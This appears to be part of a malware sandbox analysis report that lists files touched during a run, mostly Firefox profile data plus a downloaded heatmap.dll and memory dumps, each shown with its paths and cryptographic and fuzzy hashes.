SSDEEP 96:xHn7wxTUGPqGqvfFxvObzStYSSladv9jcn/5pwoDR7z9wAQOBw88gbyus7STb2BL:9c/CRvfFxvHYSSnLRyOBw88gb07STbK
TLSH
T1AC42CD385A44CB3F24F2327D6C254AB019A14237BBBFBCD359B99891045CF3541E6AEB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

prefs.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6apqb380.default-release\prefs.js
Size 12KB
SHA256 1f22313b4c3c83714ee99894bc946804defa54be6477ab40c05f0ede95cca9c2
MD5 6c4e53ac25befdf58eb5debc6bbb36ec
SHA1 68f3efd5add547fb2dc0123503b518afa427d41a
SHA512 a92f0fe6773abe9a73f4dfaf79e982aae97a2b2d6b65e6d263a90c01224a9016c01737aaf6afdd1f143c218b45d5d8b32a018759b4b69f4e16ed7e7cbb85a06a
SSDEEP 96:xHn7wxTUGPqGqvfFxvObzStYSSladv9jcn/5pwoDR7z9wAQOBw8Ogbyus7STb2BL:9c/CRvfFxvHYSSnLRyOBw8Ogb07STbK
TLSH
T1EC42BD385944CB3F24F2327D6C254AB019A14237BBBFBCD359B99891045CF3541E6AEB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

protections.sqlite

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6apqb380.default-release\protections.sqlite
Size 64KB
SHA256 f47973dd13805200a469d534a0ec50e224f0c12ae77d93a0e5bcc267af19c145
MD5 63b6f9d979a2cd96d93c105805cafcfc
SHA1 5fc70ce8799617202d1b2a350f6d596b65d48e54
SHA512 ca475720928bd40abab686efb8b890fdccef59c292b26263d41bfd9dfe8f35d21405820e10505fa7cff49eea5ae57ffdbd6ca73d5cf6e1cfe67f5994d2823b90
SSDEEP 6:ltBl/l4/WN1dR4BEJYqWvLue3FMOrMZ0l:DBl/WunddfJiFxMZO
TLSH
T1BF53225E47387021C0891372ABD323923F3CD2FA93232E836A100C358C0A023B822AE9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sessionCheckpoints.json

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6apqb380.default-release\sessionCheckpoints.json
Size 90B
SHA256 00ad9799527c3fd21f3a85012565eae817490f3e0d417413bf9567bb5909f6a2
MD5 c4ab2ee59ca41b6d6a6ea911f35bdc00
SHA1 5942cd6505fc8a9daba403b082067e1cdefdfbc4
SHA512 71ea16900479e6af161e0aad08c8d1e9ded5868a8d848e7647272f3002e2f2013e16382b677abe3c6f17792a26293b9e27ec78e16f00bd24ba3d21072bd1cae2
TLSH
T1D4B01205C8181030CD43140873743B429B2E00B231500100317CF88C203B0134556883
MD5 SHA1 SHA512 TLSH

Submit Download

sessionCheckpoints.json

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6apqb380.default-release\sessionCheckpoints.json
Size 288B
SHA256 2fca1f29b73dd5b4159fa1eb16e69276482f5224ba7d2219a547039129a51f0e
MD5 948a7403e323297c6bb8a5c791b42866
SHA1 88a555717e8a4a33eccfb7d47a2a4aa31038f9c0
SHA512 17e2f65c33f47c8bb4beca31db2aff3d4bbb6c2d36924057f9f847e207bdcb85ffcbb32c80dd06862ffc9b7f0bd3f5e2e65b48bb1bc3363732751101d5596b1a
TLSH
T1A5D08C83C10950BACE826A58B398BB509E3E00F271140142B6AC888C183F023418B803
MD5 SHA1 SHA512 TLSH

Submit Download

sessionCheckpoints.json.tmp

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6apqb380.default-release\sessionCheckpoints.json.tmp
Size 53B
SHA256 792955295ae9c382986222c6731c5870bd0e921e7f7e34cc4615f5cd67f225da
MD5 ea8b62857dfdbd3d0be7d7e4a954ec9a
SHA1 b43bc4b3ea206a02ef8f63d5bfad0c96bf2a3b2a
SHA512 076ee83534f42563046d25086166f82e1a3ec61840c113aec67abe2d8195daa247d827d0c54e7e8f8a1bbf2d082a3763577587e84342ec160ff97905243e6d19
TLSH
T10190024AC8590431DE42251823647B90A61E04A254250101526CBC88046B0155486483
MD5 SHA1 SHA512 TLSH

Submit Download

recovery.baklz4

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6apqb380.default-release\sessionstore-backups\recovery.baklz4
Size 1KB
SHA256 adb5482b837c9cd8fe0c340b2b23f0c63825e37ed732385bf7ebbb151020740f
MD5 703f1653846cc00e7c70a7b7a8f6ea05
SHA1 e547ca135f20b66f424e9b2744b5fe8b264940e7
SHA512 0d7eddc98e7bfe1fa9c256d57519a46d0690e889d896d261025a00208fd3dd77c108e9f4e6216dd53e1c1d7890384f7ee5d5e32e448c338a28d368872da1823e
TLSH
T14F21CA83EC372FE56BD05250E4894FF3D566343184B8F8E0517D1F0652AD10EB3CA215
MD5 SHA1 SHA512 TLSH

Submit Download

recovery.baklz4

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6apqb380.default-release\sessionstore-backups\recovery.baklz4
Size 14KB
SHA256 1981ce7d3acdbef50e3fede851d7ad604aec6f0900f7069b4bdf0be80cf90dd0
MD5 b6d62aca2cc13b6850011f2ba540736d
SHA1 86b9782bf7df88d9490f6285fb1dba3cf0527cee
SHA512 9e198fbd101adce0fb0addb88703d5ab2f548fee1824ef573f2ef626884aa377bb9ede7442ec5812978b8c9823876dd42d8393e24935182d602cf6f17ddccf4f
SSDEEP 384:ElTu/NOkBDZ1TfloUJNTcLhnNNOalIga6xpX4gja:9nZ15T0LdNQEn4ge
TLSH
T1BE62D092233FB166349C7049901B8F493C677DA3EEFE408567BF79AC0575256920D728
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

recovery.baklz4

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6apqb380.default-release\sessionstore-backups\recovery.baklz4
Size 1KB
SHA256 733969ae031f20a3bd9d206acd987447b6415c5ebd660f3973d0a540d81a33d5
MD5 a3d4316cc4c95d8ebb651e1d612487a0
SHA1 216e8d4ad881a30548d878391c2444ae9820a399
SHA512 e1477e229ecaca7cf9918d3e77da8a945e1bc14769cc95a321591e857e9e85025deb0324ebbcf1da43494e4718748512c67714ccde6a6a125842fe2355e9b457
TLSH
T15D210AC3FC56127347A0C4C1288A9A77E1B15032851ECDC0F3342C520628605F9E93CB
MD5 SHA1 SHA512 TLSH

Submit Download

recovery.baklz4

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6apqb380.default-release\sessionstore-backups\recovery.baklz4
Size 1KB
SHA256 e7f03b34f630e227669ce9bfb1b01c86586382ebccbe591fefc015a0cdb6be8f
MD5 72a4809dc650ad6d725ff3add2925cc3
SHA1 3c5a3dc18e5a72a96743a63811f66149333a4675
SHA512 de06585548bc287b46b6dfb89c6e9d942124bb50294ee778a092dd3fb9c085d2a8f4ca95e6436c0bc2d474470acd415a03ca1e5dc9525b7bce4ada39cb2f97dc
TLSH
T10A21D7C6FD0A10735BE2D0C658C12637E9B92112C29EC8D4F77C09030B1864AA8DD3CB
MD5 SHA1 SHA512 TLSH

Submit Download

recovery.baklz4

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6apqb380.default-release\sessionstore-backups\recovery.baklz4
Size 16KB
SHA256 ff104ef351968acca44a4b1178b9f0d0c76baf7d482d1ed71559a9a73016158a
MD5 775128800006e788c50e2dfbeac4c2f9
SHA1 19ed59571971e7eabccbcfddd1f1f152a9c09beb
SHA512 a5af28655413189380eac86f50b54730b57a6a8d0a3b259fd7713b345892aef73f0e774f2b30e87569f4ee607f08d7415a926851b92887b780e8fc14ea84c699
SSDEEP 384:KTu/NOkBDZ1Tflo5f4jwFa6IaDG1v3OalIga6xpoydz:lnZ15pwY0KEE4Uz
TLSH
T17F72F1E5923F320224F95045E14D5AAA5D877C679DB710929BFF3BF440BE764D70B280
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

recovery.baklz4

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6apqb380.default-release\sessionstore-backups\recovery.baklz4
Size 1KB
SHA256 e528e15377a52d4571a0f460bc2ff8e83b0d01b1287de988c8f275864117c4e4
MD5 33fd9e91924baf82bc63e6d02f000d27
SHA1 18ba6b887e584fc4fb6c88cd73f229e8f879e525
SHA512 b08dee4d04541b8d21b51d26b828e2892cc59c6fc573b0caced1b9c837816fb679215d9393d8918aea5821f9a10dea77b8f1058039de5c8b419975ef4e28cd51
TLSH
T19521E786FD2F3DA25780C185A0C99FE8F963901082BCF8E0EA283B1256DC50A72DD706
MD5 SHA1 SHA512 TLSH

Submit Download

recovery.baklz4

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6apqb380.default-release\sessionstore-backups\recovery.baklz4
Size 1KB
SHA256 df234f40ff794eceebaf3c3cbf895dcef534977026f62f822fe771263f12446f
MD5 544abd81cbfe0e949132d81085fc2355
SHA1 bcbd9ee5d2eb6fe95670cbfb44e85fbe77970e53
SHA512 0c3ebab8e6e0c2f7c9a77e80def24f1d6d6776ba91cb6c6ef22876bb9d6c96ebb266365e48f6d9e149a2127658478a6fbf81ff41d32a4094854cbc5823cda288
TLSH
T10121A7C3FC1A54734295D08638C55A7BE6F52132A69EDCE4F3B81912035C905F8AE38F
MD5 SHA1 SHA512 TLSH

Submit Download

recovery.jsonlz4

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6apqb380.default-release\sessionstore-backups\recovery.jsonlz4
Size 17KB
SHA256 b80002fc5a2bfcff8ed274850cdc8fd3bce189ee8e56e8aa76044fc1fce9a950
MD5 97d4248fb0d163124a828acdcd9e7139
SHA1 3d9ded4297badee3885df12c221ba8686d65e2c7
SHA512 e2f8e317d8e2dc13da4433a7f5f50c744957fe8eca59d389edf8d0ee9a76264837f39e18ea099f5795a5b7eb5e691730c4af5c455a04fcc7d0b7336c78114c33
SSDEEP 384:LTu/NOkBDZ1Tflo5f4jwFD6IaoJ1vmOalIga6xpy90/z:8nZ15pwB0i9ECOz
TLSH
T11F72E1E1523F321204E95089E25C5AE64D477C67AEB700A29BFF37F440BE764DB0B288
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

recovery.jsonlz4

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6apqb380.default-release\sessionstore-backups\recovery.jsonlz4
Size 1KB
SHA256 4d42bf140a20a8efe187819450de040cda2a3c21a50b6ccb7007eb7e99e38963
MD5 9a962fc67dad0e65e2c71a8b41048381
SHA1 90db142ab942d024654b04334dea406cad5c48f9
SHA512 1b2016deddb80418ba5afe8150b9fb5e4ed3d31a23753c0062aa89b25db836efc548c0a6e82d8a296f5a0bf3a2e34d44576688cb38f94752e0cb807178932400
TLSH
T1DE21A3C6FC1515B34AA1E0C618C5AA76DDF9103382AACAE4EB6819430658516A69E3CB
MD5 SHA1 SHA512 TLSH

Submit Download

sessionstore.jsonlz4

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6apqb380.default-release\sessionstore.jsonlz4
Size 1KB
SHA256 9a4adf5fd660fc0bf17cf2d1e188cb74fe223faf847121ae5d44f152a53f6579
MD5 4508a1b0a4ec0d86ecf2f179f4c5f8ae
SHA1 c09014df253f0dbcbb3a0868084707ddd86be3ee
SHA512 525dda25690a50eb1e7ddefd295c5d1250b0f47a81df0617688a3bfbe033da192f38e7188a0716de56b82b3569a4956b833e0c869acb48c7571efd404df32089
TLSH
T1B321A583FE451AB65245C082944A867AE7B76022C2ADC4D4E2ACAA13076C155B5AE3D7
MD5 SHA1 SHA512 TLSH

Submit Download

storage.sqlite

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6apqb380.default-release\storage.sqlite
Size 4KB
SHA256 b8ccad800a36eefcb37282227d1b8c201de4f8b90d6914900a5f401148821e96
MD5 7830ec9f0d5f61718a82a9e72bb9add7
SHA1 a517075440e87e3d1ac2753906997118c611b63f
SHA512 27a8a25cf67c85165becf4c88a3cf534b684b182375e2192a5ddb6685144f925fa5a51dc80a21cccb23c9678cff476d8094fed7f0c5dc9af6056106441666a02
TLSH
T192813A8E1F247A01C0B053B1E6E00EA39E3E111E4B5B95C73EA011FADAF35966A164BD
MD5 SHA1 SHA512 TLSH

Submit Download

{08332634-9cad-46e9-847d-cda07ef359ec}.final

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6apqb380.default-release\storage\default\https+++www.reddit.com\cache\morgue\236\{08332634-9cad-46e9-847d-cda07ef359ec}.final
Size 3KB
SHA256 61a9c19c64aaf4be589ef335a5655c8639521bca5b37cf17c1782d5b3e8de964
MD5 04c6240a0e032faa6c33d70c0a19e4ac
SHA1 ed44f77f41639d835c238885f03ad7276800e02e
SHA512 0d203bf0b243b58e74b66e3e767e431fcef314fd4bcfb5f74dedb1857c12a53afc77cbc7378c9ba6bd82ddc8d5d2e644f365626e65b4d5e3bf1e768beb2de6f0
TLSH
T1D2515CB3A998003577EEA1C3ED2EE094C9275124BC5EF690F5BD1088737B4437EE0980
MD5 SHA1 SHA512 TLSH

Submit Download

1657114595AmcateirvtiSty.sqlite

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6apqb380.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite
Size 48KB
SHA256 4d8173503b6074fe8534150d1584bf2dff1d84423172bedca9bbb486347a6c71
MD5 f2fbe87f94b33795ace52d97e3b3d47c
SHA1 8799706e06d07935602e390eab803cd4c0366aac
SHA512 e47dff04e091eba3a758ee74bcca1b2286ea153f33dd7efda8f0b5e9246ee878597505a8b786dabde4f6e8d94ca5597e6052cf2ecf00c23bffb753d9e2fd35e5
SSDEEP 48:TiaOA65g7LV6CM5znpgBlizb5pxVgnO9zxV+LU7mY2wzY5QcEVdyEmkBD:Oa16S6CKnqlizbxV+2xVeU7X2B0mKD
TLSH
T115237F8E3F07E511C53AF0B178A08D51BC5E321D07222AD669D0DAE4C8F215AEA1F9B6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

3870112724rsegmnoittet-es.sqlite

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6apqb380.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite
Size 4.1MB
SHA256 e12f283d4789ac850df965288bc742383a899eb442cd1b1fda4fe1862934d68d
MD5 ac4c69f7d286813739f6de243e33bb00
SHA1 18998f084c562fbb0099ee3e2ca7ddde0640ef0a
SHA512 62cd9bf7cee6c240fad8c4372aa319418fefb006520bbfdccbbe5a079debdf572e43c3721a294037d1f848c81f7aaea854c2f866e07d308b75e834dc80f3e785
SSDEEP 49152:ODmg2utjA5lUa2lA/cNUazvgiRBb4vYqgHD:ambut856a2yIUazvgibHD
TLSH
T1EA1639F820D1A257F3818037668563EB21AFD00C6477DD444BE966F994B8CEF9E05B2E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

3870112724rsegmnoittet-es.sqlite

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6apqb380.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite
Size 6.4MB
SHA256 8c5fdeaca6a94dc57ab414c6ca7608965f944fe2d7a81415658c3bc3fcf6a75b
MD5 ce65cdf308f0665e2d0331a600e11c4c
SHA1 b21cd34c59d3316a09acb2521e389f04e5f29e88
SHA512 02a1b74e8e72312445d4d48e17635437ca2659e01ab787868f54af5fc289dbd535337de72cbf6a459abe6196ed65fe8b069ea9e8a9632ee7782406d033722cad
SSDEEP 49152:LL9LyHaeUT6QC5zYYjEdJ50GsdZH+e0JsrCvj+8FgOR04ESC4ww+VAeaBMQAohYz:xJwLAeaBMQAoIFBdr
TLSH
T174665CE420E29252F38140B3719953EB11EFC01C6077CE445B9896FAA5B8CEB4E977BD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

xulstore.json

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6apqb380.default-release\xulstore.json
Size 141B
SHA256 93f96611674db03271028411f67e34194ac00fa36869fd47b0158f58ec4c24fd
MD5 57384c33fb4e46bf7b9e052dda09c7e3
SHA1 e4b4ee85aef0121352fbd282e1f272ab953c3c6a
SHA512 6b84cb2cf1fcfdb1cba6fb458e123f8808dce6c86c77a0e2b422c65729df74536a77050289e9c1e63f7e283fb6b2d163b00ec61784c88150f010fea302bbe9a2
TLSH
T1E9C02BB2215FD8887F178E9F028A66543D24453442D021E1B5D224F4004130E4C1824E
MD5 SHA1 SHA512 TLSH

Submit Download

heatmap.dll

Path C:\Users\Admin\Downloads\heatmap.dll
Size 402KB
SHA256 991e283cefc6cf3da4f4fd6b67105c1d1c934a1db64d34837c1c2cc80097b2d8
MD5 80f1b91e844cc7a5326903003c38e412
SHA1 3601e4273d076ca0f8c3f4fa0ebac30f228d32bb
SHA512 1e3a68088a6711365a1b97129118195def3261a7e6cac6595426763ab2d4095c292e13161b5d3fef919a55f430d5119d9c383b9676c9d1c34292e495c5fc4fa3
SSDEEP 6144:+7CXUSWBCaxsPgIAqF4tVjkYKLgqyc/taAZdCtnDHlS:oGioRquLtyW0PtDH
TLSH
T187944D3B9684156CE2B7D1B88E874C82EB3A740A07F19DFF0BD094935D535A49B3AB13
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/696-948-0x00000193A6570000-0x00000193A6592000-memory.dmp

Download

memory/696-949-0x00000193A65F0000-0x00000193A6634000-memory.dmp

Download

memory/696-950-0x00000193A8F30000-0x00000193A8FA6000-memory.dmp

Download